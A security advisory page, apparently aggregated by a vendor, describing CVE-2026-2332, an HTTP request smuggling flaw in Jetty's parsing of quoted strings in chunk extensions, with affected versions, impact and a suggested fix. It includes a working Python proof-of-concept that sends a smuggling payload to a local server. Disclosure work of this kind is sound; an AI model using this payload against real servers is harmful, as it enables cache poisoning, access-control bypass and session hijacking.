🛡️ CVE-2026-2332 — jetty
Description
Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
Description (as reported)
Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:
- https://w4ke.info/2025/06/18/funky-chunks.html
- https://w4ke.info/2025/10/29/funky-chunks-2.html
The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.
Technical Details
RFC 9112 Section 7.1.1 defines chunked transfer encoding:
```
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
```
RFC 9110 Section 5.6.4 defines quoted-string:
```
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
```
A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.
Vulnerability
Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.
Expected (RFC compliant):
```
Chunk: 1;a="value\r\nhere"\r\n
^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]
```
Actual (jetty):
```
Chunk: 1;a="value
^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request
```
Proof of Concept
```python
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
```
Result: Server returns 2 HTTP responses from a single TCP connection.
Parsing Breakdown
| Parser | Request 1 | Request 2 |
|--------|-----------|-----------|
| jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) |
| RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) |
Impact
- Request Smuggling: Attacker injects arbitrary HTTP requests
- Cache Poisoning: Smuggled responses poison shared caches
- Access Control Bypass: Smuggled requests bypass frontend security
- Session Hijacking: Smuggled requests can steal other users' responses
Reproduction
1. Start the minimal POC with docker
2. Run the poc script provided in same zip
Suggested Fix
Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112.
A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.
Patches
No patches yet.
Workarounds
No workarounds yet.
References
- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)
- Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html
- details for security versions https://jetty.org/security.html
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.
Weakness class
CVE-2026-2332 is classified as CWE-444: HTTP Request Smuggling. A proxy and a server disagree on where one request ends, letting an attacker slip a second request past the front end.
Affected software
CVE-2026-2332 is recorded against 2 packages.
- jetty (from 12.1.0 up to 12.1.7)
- org.eclipse.jetty:jetty-http (from 9.4.0)
Timeline and source
Published on 14 April 2026 and last revised on 10 August 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from NVD.
References
github.com
gitlab.eclipse.org
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
access.redhat.com
bugzilla.redhat.com
CVE-2026-2332 on other distributions
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| jetty | 12.1.0 | 12.1.7 |
| org.eclipse.jetty:jetty-http | 9.4.0 | — |
References
Similar Threats
- High CVE-2024-7708
- Low CVE-2025-11143
- High CVE-2025-5115
- High CVE-2024-13009
- High CVE-2025-1948
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running jetty?
CVE-2026-2332 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-2332 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.